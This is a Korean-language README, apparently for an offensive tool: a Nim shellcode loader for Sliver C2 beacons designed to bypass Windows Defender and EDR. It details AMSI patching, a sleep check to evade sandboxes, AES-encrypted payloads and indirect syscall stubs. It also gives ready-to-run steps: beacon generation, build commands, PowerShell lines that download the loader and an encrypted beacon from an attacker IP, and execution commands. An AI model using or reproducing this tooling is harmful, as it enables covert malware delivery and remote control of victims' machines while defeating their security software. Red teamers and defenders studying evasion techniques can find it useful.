
Nim 기반 암호화 도구 - 셸코드와 페이로드를 난독화하여 Windows Defender를 우회합니다.
Nim으로 작성된 Sliver 셸코드 로더로, Windows x64를 대상으로 합니다. 가장 일반적인 두 가지 전달 상황을 다루는 두 가지 변종이 있습니다. 실시간 보호가 활성화된 Windows Defender에서 테스트되었습니다.
암호화된 셸코드 blob을 디스크에서 읽어 메모리에서 복호화한 후 자체 주입합니다. 파일 드롭 프리미티브가 이미 있고 작고 간단한 바이너리가 필요할 때 사용합니다.
loader.exe <shellcode.bin> [key_hex iv_hex]
Key와 IV는 선택 사항입니다. 생략하면 파일을 암호화되지 않은 원시 셸코드로 처리합니다.
Windows WinHTTP 스택을 사용하여 C2에서 HTTP를 통해 암호화된 blob을 다운로드하고, 메모리에서 복호화한 후 자체 주입합니다. 파일이 디스크에 닿지 않습니다. 대상에서 바이너리를 실행할 수 있지만 두 번째 파일을 안정적으로 드롭할 수 없을 때 사용합니다.
컴파일하기 전에 stageless/loader.nim 상단의 상수를 편집합니다:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # encrypt.py의 64자리 16진수
scIV = "..." # encrypt.py의 32자리 16진수
Stageless 로더는 시작 시 Sleep(5000)을 호출하고 GetTickCount64로 실제 경과 시간을 측정합니다. 4500ms 미만이면 프로세스가 종료됩니다. 대부분의 자동화된 샌드박스 환경은 sleep을 빨리 감거나 건너뛰기 때문에 검사에 실패합니다. 이 작업은 네트워크 활동이나 셸코드 실행 전에 이루어지므로 네트워크 동작을 검사하는 샌드박스는 아무것도 보지 못합니다.
amsi.nim은 두 가지 난독화 계층을 사용하여 런타임에 AmsiScanBuffer를 패치합니다:
FNV-1a 해싱을 통한 문자열 숨기기. AmsiScanBuffer 문자열은 바이너리에 절대 나타나지 않습니다. 대신 컴파일 타임에 FNV-1a 해시가 계산되어 상수로 저장됩니다. 런타임에 로더는 amsi.dll의 익스포트 테이블을 탐색하고 각 익스포트 이름을 해싱하여 저장된 값과 비교하므로 문자열을 메모리에 보유하지 않고 함수 주소를 찾습니다.
컴파일 타임 XOR 난독화. DLL 이름(amsi.dll)과 패치 바이트(xor eax, eax; ret = 31 C0 C3)는 모두 Python 서브프로세스를 통해 빌드마다 새로 생성되는 난수 키로 컴파일 타임에 XOR 인코딩됩니다. 키는 상수로 포함되고 바이트는 사용 직전에 런타임에 디코딩됩니다. 원시 바이트는 빌드마다 변경되어 패치 시퀀스의 정적 서명을 깨뜨립니다.
패치는 AmsiScanBuffer의 처음 3바이트를 xor eax, eax; ret로 덮어쓰므로 모든 호출이 입력에 관계없이 AMSI_RESULT_CLEAN을 반환합니다.
encrypt.py는 무작위로 생성된 32바이트 키와 16바이트 IV를 사용하여 AES-256-CBC로 원시 셸코드를 암호화합니다. 로더는 Windows BCrypt API를 사용하여 제자리에서 복호화하므로 대상에 타사 암호화 라이브러리가 필요하지 않습니다.
메모리는 PAGE_READWRITE로 할당되고, 셸코드가 기록된 후 실행 전에 영역이 PAGE_EXECUTE_READ로 전환됩니다. PAGE_EXECUTE_READWRITE로 직접 할당하는 것은 잘 알려진 서명으로 Defender 및 EDR이 명시적으로 플래그 지정합니다. 쓰기와 실행 단계를 분리하면 이 패턴을 피할 수 있습니다.
stageless/syscalls.nim은 Win32 API 계층(kernel32.dll)과 EDR이 배치한 ntdll.dll 사용자 후크를 모두 우회합니다.
SSN 해결. 시작 시 로더는 ntdll의 기본 주소를 가져와 PE 익스포트 테이블을 구문 분석하고 RVA로 정렬된 모든 Nt* 익스포트를 수집합니다. 필요한 각 NT 함수에 대해 처음 4바이트를 확인합니다:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32)은 스텁이 깨끗하고 SSN이 바이트 4-5에서 직접 읽힌다는 의미입니다. 이것이 Hell's Gate입니다.neighbor_SSN +/- distance로 계산합니다. SSN은 주소 순서대로 스텁당 1씩 증가합니다. 이것이 Halo's Gate입니다.Gadget 위치 찾기. 로더는 찾은 첫 번째 깨끗한 Nt* 스텁에서 바이트 시퀀스 0F 05 C3 (syscall; ret)를 검색합니다. 이를 통해 재사용할 수 있는 ntdll의 이미지 백업 .text 섹션 내부 주소를 얻습니다.
스텁 생성. 필요한 각 함수에 대해 22바이트 스텁이 단일 RW 페이지에 기록되고 사용 전에 RX로 전환됩니다:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget 주소
jmp [rip+0]는 바로 뒤에 있는 8바이트(gadget 주소)를 역참조하여 실행을 ntdll의 기존 syscall; ret 시퀀스로 리디렉션합니다. syscall 명령어는 익명 할당이 아닌 ntdll의 .text에서 실행되므로 시스템 콜을 발행한 메모리 영역에 대한 커널 수준 추적을 무력화합니다.
간접 시스템 콜이 적용되는 네 가지 함수는 NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject입니다.
복호화 후 stageless 로더는 NtAllocateVirtualMemory를 통해 자체 프로세스에 RW 영역을 할당하고, copyMem으로 셸코드를 복사한 후, NtProtectVirtualMemory로 영역을 RX로 전환하고, NtCreateThreadEx로 스레드를 생성합니다. 그런 다음 메인 스레드는 NtWaitForSingleObject에서 무기한 차단되어 비콘의 고루틴이 실행되는 동안 프로세스를 유지합니다. 네 호출 모두 위에서 설명한 간접 시스템 콜 스텁을 통해 이루어집니다.
자체 주입은 호출 표면을 최소화합니다. WriteProcessMemory, CreateRemoteThread 등과 같은 프로세스 간 API 호출이 없으며, 이는 기존 원격 주입의 주요 탐지 벡터입니다.
AmsiScanBuffer 찾기, xor eax, eax; ret로 덮어쓰기syscall; ret gadget 위치 찾기, 스텁 쓰기NtAllocateVirtualMemory (RW)NtProtectVirtualMemory로 PAGE_EXECUTE_READ로 전환NtCreateThreadExNtWaitForSingleObjectVirtualAlloc (RW), 셸코드 복사, VirtualProtect로 RX로 전환Linux 빌드 머신:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
stageless/loader.nim을 편집하여 c2Host, c2Port, c2Path, scKey, scIV를 설정한 후, 프로젝트 루트에서:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
항상 프로젝트 루트에서 컴파일하여 루트 nim.cfg만 로드되도록 합니다. 출력은 정적으로 링크된 Windows x64 PE이며, 표준 시스템 라이브러리 외에 외부 DLL 종속성이 없습니다.
Stageless: 암호화된 blob을 c2Port와 일치하는 포트에서 HTTP로 제공:
cd bins && python3 -m http.server 443
Stager: 두 파일을 대상으로 전송:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
암호화된 stager:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
암호화되지 않은 stager:
loader.exe shellcode.bin
PowerShell 다운로드 요람을 통해 전달하는 경우, 로더가 실행되기 전에 AMSI가 스크립트를 검사합니다. 먼저 PS 세션에서 AMSI를 패치합니다:
python3 gen_amsi.py
출력을 PS 세션에 붙여넣은 후 다운로드하거나 실행합니다. 스크립트는 익스포트 테이블 해시를 통해 AmsiScanBuffer를 찾으므로 문자열이 일반 텍스트로 나타나지 않으며, 모든 패치 바이트는 실행마다 무작위 키로 XOR 인코딩됩니다.
BCryptSetProperty는 체이닝 모드에 대해 STATUS_INVALID_PARAMETER를 반환하지만 BCrypt는 기본적으로 CBC를 사용하므로 복호화는 정상 작동합니다syscall 명령어는 스텁 페이지가 아닌 ntdll의 .text 섹션(이미지 백업, Microsoft 서명) 내에서 실행되므로 시스템 콜 출처에 대한 커널 수준 추적을 무력화합니다Defender 메커니즘, 기술 및 기타 도구에 대한 자세한 내용은 내 블로그에서 확인할 수 있습니다.